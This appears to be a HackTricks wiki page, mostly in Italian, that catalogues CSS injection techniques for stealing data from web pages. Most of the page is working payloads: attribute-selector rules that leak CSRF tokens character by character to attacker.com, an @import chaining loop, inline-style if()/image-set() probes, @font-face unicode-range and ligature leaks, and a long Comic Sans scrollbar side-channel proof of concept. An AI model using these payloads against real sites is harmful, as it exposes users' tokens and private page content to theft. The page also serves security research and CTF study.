CSS Injection

Reading time: 25 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

CSS Injection

Selettore di attributo

I selettori CSS sono creati per corrispondere ai valori degli attributi name e value di un elemento input. Se l'attributo value dell'elemento input inizia con un carattere specifico, viene caricata una risorsa esterna predefinita:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Tuttavia, questo approccio presenta una limitazione quando si tratta di elementi input nascosti (type="hidden") perché gli elementi nascosti non caricano gli sfondi.

Bypass per elementi nascosti

Per aggirare questa limitazione, puoi puntare a un elemento sibling successivo utilizzando il combinatore general sibling ~. La regola CSS viene quindi applicata a tutti i sibling che seguono l'elemento input nascosto, causando il caricamento dell'immagine di sfondo:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Un esempio pratico dello sfruttamento di questa tecnica è dettagliato nello snippet di codice fornito. Puoi vederlo here.

Prerequisiti per CSS Injection

Perché la tecnica CSS Injection sia efficace, devono essere soddisfatte determinate condizioni:

  1. Payload Length: Il vettore di CSS injection deve supportare payloads sufficientemente lunghi per ospitare i crafted selectors.
  2. CSS Re-evaluation: Devi avere la possibilità di effettuare il framing della pagina, necessario per innescare la rivalutazione del CSS con payloads appena generati.
  3. External Resources: La tecnica presuppone la capacità di utilizzare immagini ospitate esternamente. Questo potrebbe essere limitato dalla Content Security Policy (CSP) del sito.

Blind Attribute Selector

As explained in this post, it's possible to combine the selectors :has and :not to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It's also possible to use those selectors to extract information from several block of the same type like in:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Combinando questo con la seguente tecnica @import, è possibile esfiltrare molte informazioni usando CSS injection da pagine blind con blind-css-exfiltration.

@import

La tecnica precedente ha alcuni svantaggi, verifica i prerequisiti. Devi o essere in grado di inviare più link alla vittima, oppure devi poter inserire la pagina vulnerabile a CSS injection in un iframe.

Tuttavia, c'è un'altra tecnica ingegnosa che utilizza CSS @import per migliorare l'efficacia della tecnica.

Questo è stato mostrato per la prima volta da Pepe Vila e funziona così:

Invece di caricare la stessa pagina più e più volte con decine di payload diversi ogni volta (come nel metodo precedente), caricheremo la pagina una sola volta e solo con un import verso il server dell'attaccante (questo è il payload da inviare alla vittima):

css
@import url("//attacker.com:5001/start?");
  1. L'@import riceverà uno script CSS dagli attaccanti e il browser lo caricherà.
  2. La prima parte dello script CSS che gli attaccanti invieranno è un altro @import al server degli attaccanti.
  3. Il server degli attaccanti non risponderà a questa richiesta ancora, perché vogliamo effettuare un leak di alcuni caratteri e poi rispondere a questo import con il payload per ottenere i leak successivi.
  4. La seconda e più grande parte del payload sarà un attribute selector leakage payload
  5. Questo invierà al server degli attaccanti il primo carattere del segreto e l'ultimo
  6. Una volta che il server degli attaccanti ha ricevuto il primo e l'ultimo carattere del segreto, risponderà all'@import richiesto nel passo 2.
  7. La risposta sarà esattamente la stessa dei passi 2, 3 e 4, ma questa volta tenterà di trovare il secondo carattere del segreto e poi il penultimo.

L'attaccante seguirà quel ciclo finché non riuscirà a effettuare il leak completo del segreto.

You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.

tip

Lo script cercherà di scoprire 2 caratteri ogni volta (dall'inizio e dalla fine) perché l'attribute selector permette di fare cose come:

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

Questo permette allo script di leakare il segreto più velocemente.

warning

A volte lo script non rileva correttamente che il prefisso + suffisso scoperti corrispondono già alla flag completa e continuerà ad andare avanti (nel prefisso) e indietro (nel suffisso) e a un certo punto si bloccherà.
Nessuna preoccupazione, controlla semplicemente l'output perché puoi vedere la flag lì.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

Questa primitiva permette l'esfiltrazione usando solo l'attributo style inline di un elemento, senza selector o fogli di stile esterni. Si basa sulle proprietà CSS custom, sulla funzione attr() per leggere attributi dello stesso elemento, sui nuovi condizionali CSS if() per le ramificazioni, e su image-set() per scatenare una richiesta di rete che codifica il valore corrispondente.

warning

Le comparazioni di uguaglianza in if() richiedono doppi apici per le stringhe letterali. Le virgolette singole non corrisponderanno.

  • Sink: controllare l'attributo style di un elemento e assicurarsi che l'attributo target sia sullo stesso elemento (attr() legge solo attributi dello stesso elemento).
  • Read: copiare l'attributo in una variabile CSS: --val: attr(title).
  • Decide: selezionare un URL usando condizionali nidificati che confrontano la variabile con candidati stringa: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: applicare background: image-set(var(--steal)) (o qualsiasi proprietà che esegue fetch) per forzare una richiesta all'endpoint scelto.

Attempt (does not work; single quotes in comparison):

html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Payload funzionante (virgolette doppie richieste nella comparazione):

html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Enumerazione dei valori degli attributi con condizioni annidate:

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Demo realistico (probing usernames):

html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Note e limitazioni:

  • Funziona sui browser basati su Chromium al momento della ricerca; il comportamento può differire su altri motori.
  • Più adatto a spazi di valori finiti/enumerabili (IDs, flags, short usernames). Rubare stringhe arbitrariamente lunghe senza fogli di stile esterni rimane impegnativo.
  • Qualsiasi proprietà CSS che recupera un URL può essere usata per innescare la richiesta (es., background/image-set, border-image, list-style, cursor, content).

Automazione: una Burp Custom Action può generare payload inline-style annidati per brute-force dei valori degli attributi: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Altri selettori

Altri modi per accedere a parti del DOM con CSS selectors:

  • .class-to-search:nth-child(2): Questo cercherà il secondo elemento con la classe "class-to-search" nel DOM.
  • :empty selector: Utilizzato ad esempio in this writeup:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Riferimenti: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

L'intenzione complessiva è utilizzare un font personalizzato da un endpoint controllato e assicurarsi che il testo (in questo caso, 'A') venga visualizzato con questo font solo se la risorsa specificata (favicon.ico) non può essere caricata.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Utilizzo di font personalizzato:
  • Un font personalizzato è definito usando la regola @font-face all'interno di un tag <style> nella sezione <head>.
  • Il font si chiama poc ed è recuperato da un endpoint esterno (http://attacker.com/?leak).
  • La proprietà unicode-range è impostata su U+0041, mirata al carattere Unicode specifico 'A'.
  1. Elemento con testo di fallback:
    • Un elemento <object> con id="poc0" è creato nella sezione <body>. Questo elemento tenta di caricare una risorsa da http://192.168.0.1/favicon.ico.
    • Il font-family per questo elemento è impostato a 'poc', come definito nella sezione <style>.
    • Se la risorsa (favicon.ico) non riesce a caricarsi, il contenuto di fallback (la lettera 'A') all'interno del tag <object> viene mostrato.
    • Il contenuto di fallback ('A') verrà renderizzato usando il font personalizzato poc se la risorsa esterna non può essere caricata.

    Styling Scroll-to-Text Fragment

    La pseudo-classe :target viene impiegata per selezionare un elemento indirizzato da un URL fragment, come specificato nella CSS Selectors Level 4 specification. È fondamentale capire che ::target-text non corrisponde a nessun elemento a meno che il testo non sia esplicitamente indirizzato dal fragment.

    Si crea una problematica di sicurezza quando gli attaccanti sfruttano la feature Scroll-to-text fragment, permettendo loro di confermare la presenza di testo specifico su una pagina web caricando una risorsa dal proprio server tramite HTML injection. Il metodo consiste nell'iniettare una regola CSS come questa:

    css
    :target::before {
    content: url(target.png);
    }
    

    In tali scenari, se il testo "Administrator" è presente nella pagina, la risorsa target.png viene richiesta dal server, indicando la presenza del testo. Un'istanza di questo attacco può essere eseguita tramite un URL appositamente creato che incorpora il CSS iniettato insieme a uno Scroll-to-text fragment:

    http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
    

    Qui, l'attacco manipola un'iniezione HTML per trasmettere il codice CSS, mirando al testo specifico "Administrator" tramite lo Scroll-to-text fragment (#:~:text=Administrator). Se il testo viene trovato, la risorsa indicata viene caricata, segnalandone involontariamente la presenza all'attaccante.

    Per mitigare, si devono considerare i seguenti punti:

    1. Corrispondenza STTF limitata: Scroll-to-text Fragment (STTF) è progettato per corrispondere solo parole o frasi, limitando quindi la sua capacità di leakare segreti o token arbitrari.
    2. Restrizione ai contesti di navigazione top-level: STTF opera esclusivamente nei contesti di navigazione top-level e non funziona all'interno di iframes, rendendo qualsiasi tentativo di sfruttamento più visibile all'utente.
    3. Necessità di attivazione da parte dell'utente: STTF richiede un gesto di attivazione da parte dell'utente per funzionare, il che significa che gli exploit sono possibili solo tramite navigazioni avviate dall'utente. Questo requisito mitiga considerevolmente il rischio che attacchi siano automatizzati senza interazione dell'utente. Tuttavia, l'autore del blog post indica condizioni specifiche e bypass (ad es., social engineering, interazione con estensioni del browser diffuse) che potrebbero facilitare l'automazione dell'attacco.

    La consapevolezza di questi meccanismi e delle potenziali vulnerabilità è fondamentale per mantenere la sicurezza web e proteggersi da tali tattiche di sfruttamento.

    Per maggiori informazioni, consulta il report originale: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

    Puoi vedere un exploit che utilizza questa tecnica per un CTF qui.

    @font-face / unicode-range

    È possibile specificare font esterni per specifici valori unicode che verranno raccolti solo se tali valori unicode sono presenti nella pagina. Per esempio:

    html
    <style>
    @font-face {
    font-family: poc;
    src: url(http://attacker.example.com/?A); /* fetched */
    unicode-range: U+0041;
    }
    @font-face {
    font-family: poc;
    src: url(http://attacker.example.com/?B); /* fetched too */
    unicode-range: U+0042;
    }
    @font-face {
    font-family: poc;
    src: url(http://attacker.example.com/?C); /* not fetched */
    unicode-range: U+0043;
    }
    #sensitive-information {
    font-family: poc;
    }
    </style>
    
    <p id="sensitive-information">AB</p>
    htm
    

    When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

    Text node exfiltration (I): ligatures

    Riferimento: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

    La tecnica descritta consiste nell'estrarre testo da un nodo sfruttando le ligatures dei font e monitorando le variazioni di larghezza. Il processo comprende diversi passaggi:

    1. Creation of Custom Fonts:
    • SVG fonts are crafted with glyphs having a horiz-adv-x attribute, which sets a large width for a glyph representing a two-character sequence.
    • Example SVG glyph: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, where "XY" denotes a two-character sequence.
    • These fonts are then converted to woff format using fontforge.
    1. Detection of Width Changes:
    • CSS is used to ensure that text does not wrap (white-space: nowrap) and to customize the scrollbar style.
    • The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.
    • The CSS involved:
    css
    body {
    white-space: nowrap;
    }
    body::-webkit-scrollbar {
    background: blue;
    }
    body::-webkit-scrollbar:horizontal {
    background: url(http://attacker.com/?leak);
    }
    
    1. Exploit Process:
    • Step 1: Fonts are created for pairs of characters with substantial width.
    • Step 2: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.
    • Step 3: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.
    • Step 4: Detection of the three-character ligature is carried out.
    • Step 5: The process repeats, progressively revealing the entire text.
    1. Optimization:
    • The current initialization method using <meta refresh=... is not optimal.
    • A more efficient approach could involve the CSS @import trick, enhancing the exploit's performance.

    Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

    Riferimento: PoC using Comic Sans by @Cgvwzq & @Terjanq

    This trick was released in this Slackers thread. Il charset usato in un text node può essere leaked using the default fonts installati nel browser: no external -or custom- fonts are needed.

    Il concetto ruota attorno all'utilizzo di una animazione per espandere progressivamente la larghezza di un div, permettendo a un carattere alla volta di passare dalla parte 'suffix' del testo alla parte 'prefix'. Questo processo divide effettivamente il testo in due sezioni:

    1. Prefisso: The initial line.
    2. Suffisso: The subsequent line(s).

    Le fasi di transizione dei caratteri apparirebbero come segue:

    C
    ADB

    CA
    DB

    CAD
    B

    CADB

    Durante questa transizione, viene impiegato il unicode-range trick per identificare ogni nuovo carattere mentre si unisce al prefisso. Questo viene ottenuto cambiando il font in Comic Sans, che è notevolmente più alto rispetto al font di default, causando di conseguenza la comparsa di una scrollbar verticale. La comparsa di questa scrollbar rivela indirettamente la presenza di un nuovo carattere nel prefisso.

    tip

    In pratica, la unicode-range viene usata per rilevare un char, ma siccome non vogliamo caricare un font esterno dobbiamo trovare un altro modo.
    Quando il char viene trovato, gli viene assegnato il pre-installato Comic Sans font, che rende il char più grande e scatena una scroll bar che farà leak del char trovato.

    Controlla il codice estratto dal PoC:

    css
    /* comic sans is high (lol) and causes a vertical overflow */
    @font-face {
    font-family: has_A;
    src: local("Comic Sans MS");
    unicode-range: U+41;
    font-style: monospace;
    }
    @font-face {
    font-family: has_B;
    src: local("Comic Sans MS");
    unicode-range: U+42;
    font-style: monospace;
    }
    @font-face {
    font-family: has_C;
    src: local("Comic Sans MS");
    unicode-range: U+43;
    font-style: monospace;
    }
    @font-face {
    font-family: has_D;
    src: local("Comic Sans MS");
    unicode-range: U+44;
    font-style: monospace;
    }
    @font-face {
    font-family: has_E;
    src: local("Comic Sans MS");
    unicode-range: U+45;
    font-style: monospace;
    }
    @font-face {
    font-family: has_F;
    src: local("Comic Sans MS");
    unicode-range: U+46;
    font-style: monospace;
    }
    @font-face {
    font-family: has_G;
    src: local("Comic Sans MS");
    unicode-range: U+47;
    font-style: monospace;
    }
    @font-face {
    font-family: has_H;
    src: local("Comic Sans MS");
    unicode-range: U+48;
    font-style: monospace;
    }
    @font-face {
    font-family: has_I;
    src: local("Comic Sans MS");
    unicode-range: U+49;
    font-style: monospace;
    }
    @font-face {
    font-family: has_J;
    src: local("Comic Sans MS");
    unicode-range: U+4a;
    font-style: monospace;
    }
    @font-face {
    font-family: has_K;
    src: local("Comic Sans MS");
    unicode-range: U+4b;
    font-style: monospace;
    }
    @font-face {
    font-family: has_L;
    src: local("Comic Sans MS");
    unicode-range: U+4c;
    font-style: monospace;
    }
    @font-face {
    font-family: has_M;
    src: local("Comic Sans MS");
    unicode-range: U+4d;
    font-style: monospace;
    }
    @font-face {
    font-family: has_N;
    src: local("Comic Sans MS");
    unicode-range: U+4e;
    font-style: monospace;
    }
    @font-face {
    font-family: has_O;
    src: local("Comic Sans MS");
    unicode-range: U+4f;
    font-style: monospace;
    }
    @font-face {
    font-family: has_P;
    src: local("Comic Sans MS");
    unicode-range: U+50;
    font-style: monospace;
    }
    @font-face {
    font-family: has_Q;
    src: local("Comic Sans MS");
    unicode-range: U+51;
    font-style: monospace;
    }
    @font-face {
    font-family: has_R;
    src: local("Comic Sans MS");
    unicode-range: U+52;
    font-style: monospace;
    }
    @font-face {
    font-family: has_S;
    src: local("Comic Sans MS");
    unicode-range: U+53;
    font-style: monospace;
    }
    @font-face {
    font-family: has_T;
    src: local("Comic Sans MS");
    unicode-range: U+54;
    font-style: monospace;
    }
    @font-face {
    font-family: has_U;
    src: local("Comic Sans MS");
    unicode-range: U+55;
    font-style: monospace;
    }
    @font-face {
    font-family: has_V;
    src: local("Comic Sans MS");
    unicode-range: U+56;
    font-style: monospace;
    }
    @font-face {
    font-family: has_W;
    src: local("Comic Sans MS");
    unicode-range: U+57;
    font-style: monospace;
    }
    @font-face {
    font-family: has_X;
    src: local("Comic Sans MS");
    unicode-range: U+58;
    font-style: monospace;
    }
    @font-face {
    font-family: has_Y;
    src: local("Comic Sans MS");
    unicode-range: U+59;
    font-style: monospace;
    }
    @font-face {
    font-family: has_Z;
    src: local("Comic Sans MS");
    unicode-range: U+5a;
    font-style: monospace;
    }
    @font-face {
    font-family: has_0;
    src: local("Comic Sans MS");
    unicode-range: U+30;
    font-style: monospace;
    }
    @font-face {
    font-family: has_1;
    src: local("Comic Sans MS");
    unicode-range: U+31;
    font-style: monospace;
    }
    @font-face {
    font-family: has_2;
    src: local("Comic Sans MS");
    unicode-range: U+32;
    font-style: monospace;
    }
    @font-face {
    font-family: has_3;
    src: local("Comic Sans MS");
    unicode-range: U+33;
    font-style: monospace;
    }
    @font-face {
    font-family: has_4;
    src: local("Comic Sans MS");
    unicode-range: U+34;
    font-style: monospace;
    }
    @font-face {
    font-family: has_5;
    src: local("Comic Sans MS");
    unicode-range: U+35;
    font-style: monospace;
    }
    @font-face {
    font-family: has_6;
    src: local("Comic Sans MS");
    unicode-range: U+36;
    font-style: monospace;
    }
    @font-face {
    font-family: has_7;
    src: local("Comic Sans MS");
    unicode-range: U+37;
    font-style: monospace;
    }
    @font-face {
    font-family: has_8;
    src: local("Comic Sans MS");
    unicode-range: U+38;
    font-style: monospace;
    }
    @font-face {
    font-family: has_9;
    src: local("Comic Sans MS");
    unicode-range: U+39;
    font-style: monospace;
    }
    @font-face {
    font-family: rest;
    src: local("Courier New");
    font-style: monospace;
    unicode-range: U+0-10FFFF;
    }
    
    div.leak {
    overflow-y: auto; /* leak channel */
    overflow-x: hidden; /* remove false positives */
    height: 40px; /* comic sans capitals exceed this height */
    font-size: 0px; /* make suffix invisible */
    letter-spacing: 0px; /* separation */
    word-break: break-all; /* small width split words in lines */
    font-family: rest; /* default */
    background: grey; /* default */
    width: 0px; /* initial value */
    animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
    animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
    }
    
    div.leak::first-line {
    font-size: 30px; /* prefix is visible in first line */
    text-transform: uppercase; /* only capital letters leak */
    }
    
    /* iterate over all chars */
    @keyframes trychar {
    0% {
    font-family: rest;
    } /* delay for width change */
    5% {
    font-family: has_A, rest;
    --leak: url(?a);
    }
    6% {
    font-family: rest;
    }
    10% {
    font-family: has_B, rest;
    --leak: url(?b);
    }
    11% {
    font-family: rest;
    }
    15% {
    font-family: has_C, rest;
    --leak: url(?c);
    }
    16% {
    font-family: rest;
    }
    20% {
    font-family: has_D, rest;
    --leak: url(?d);
    }
    21% {
    font-family: rest;
    }
    25% {
    font-family: has_E, rest;
    --leak: url(?e);
    }
    26% {
    font-family: rest;
    }
    30% {
    font-family: has_F, rest;
    --leak: url(?f);
    }
    31% {
    font-family: rest;
    }
    35% {
    font-family: has_G, rest;
    --leak: url(?g);
    }
    36% {
    font-family: rest;
    }
    40% {
    font-family: has_H, rest;
    --leak: url(?h);
    }
    41% {
    font-family: rest;
    }
    45% {
    font-family: has_I, rest;
    --leak: url(?i);
    }
    46% {
    font-family: rest;
    }
    50% {
    font-family: has_J, rest;
    --leak: url(?j);
    }
    51% {
    font-family: rest;
    }
    55% {
    font-family: has_K, rest;
    --leak: url(?k);
    }
    56% {
    font-family: rest;
    }
    60% {
    font-family: has_L, rest;
    --leak: url(?l);
    }
    61% {
    font-family: rest;
    }
    65% {
    font-family: has_M, rest;
    --leak: url(?m);
    }
    66% {
    font-family: rest;
    }
    70% {
    font-family: has_N, rest;
    --leak: url(?n);
    }
    71% {
    font-family: rest;
    }
    75% {
    font-family: has_O, rest;
    --leak: url(?o);
    }
    76% {
    font-family: rest;
    }
    80% {
    font-family: has_P, rest;
    --leak: url(?p);
    }
    81% {
    font-family: rest;
    }
    85% {
    font-family: has_Q, rest;
    --leak: url(?q);
    }
    86% {
    font-family: rest;
    }
    90% {
    font-family: has_R, rest;
    --leak: url(?r);
    }
    91% {
    font-family: rest;
    }
    95% {
    font-family: has_S, rest;
    --leak: url(?s);
    }
    96% {
    font-family: rest;
    }
    }
    
    /* increase width char by char, i.e. add new char to prefix */
    @keyframes loop {
    0% {
    width: 0px;
    }
    1% {
    width: 20px;
    }
    2% {
    width: 40px;
    }
    3% {
    width: 60px;
    }
    4% {
    width: 80px;
    }
    4% {
    width: 100px;
    }
    5% {
    width: 120px;
    }
    6% {
    width: 140px;
    }
    7% {
    width: 0px;
    }
    }
    
    div::-webkit-scrollbar {
    background: blue;
    }
    
    /* side-channel */
    div::-webkit-scrollbar:vertical {
    background: blue var(--leak);
    }
    

    Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

    Riferimento: This is mentioned as an unsuccessful solution in this writeup

    Questo caso è molto simile a quello precedente; tuttavia, in questo scenario l'obiettivo del rendere specifici caratteri più grandi di altri è nascondere qualcosa (ad esempio un pulsante che non deve essere premuto dal bot o un'immagine che non deve essere caricata). Quindi potremmo misurare l'azione (o la sua assenza) e sapere se un carattere specifico è presente nel testo.

    Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

    Riferimento: This is mentioned as an unsuccessful solution in this writeup

    In questo caso, potremmo provare a effettuare una leak per determinare se un carattere è presente nel testo, caricando un fake font dalla stessa origine:

    css
    @font-face {
    font-family: "A1";
    src: url(/static/bootstrap.min.css?q=1);
    unicode-range: U+0041;
    }
    

    Se c'è una corrispondenza, il font verrà caricato da /static/bootstrap.min.css?q=1. Anche se non si caricherà correttamente, il browser dovrebbe metterlo in cache, e anche se non c'è cache, esiste il meccanismo 304 not modified, quindi la risposta dovrebbe essere più veloce rispetto ad altre risorse.

    Tuttavia, se la differenza di tempo tra la risposta cached e quella non cached non è sufficientemente grande, questo non sarà utile. Per esempio, l'autore ha menzionato: "Ad ogni modo, dopo i test ho scoperto che il primo problema è che la velocità non è molto diversa, e il secondo problema è che il bot usa il flag disk-cache-size=1, il che è davvero premuroso."

    Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)

    Riferimento: Questo è menzionato come an unsuccessful solution in this writeup

    In questo caso puoi indicare CSS per caricare centinaia di font finti dalla stessa origine quando si verifica una corrispondenza. In questo modo puoi misurare il tempo impiegato e scoprire se un char appare o meno con qualcosa del tipo:

    css
    @font-face {
    font-family: "A1";
    src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
    .... url(/static/bootstrap.min.css?q=500);
    unicode-range: U+0041;
    }
    

    E il codice del bot è il seguente:

    python
    browser.get(url)
    WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
    time.sleep(30)
    

    Quindi, se il font non corrisponde, il tempo di risposta quando si visita il bot è previsto intorno ai 30 secondi. Tuttavia, se c'è una corrispondenza del font, verranno inviate più richieste per recuperare il font, causando un'attività di rete continua. Di conseguenza, ci vorrà più tempo per soddisfare la condizione di stop e ricevere la risposta. Pertanto, il tempo di risposta può essere usato come indicatore per determinare se c'è una corrispondenza del font.

    Riferimenti

    tip

    Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
    Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

    Supporta HackTricks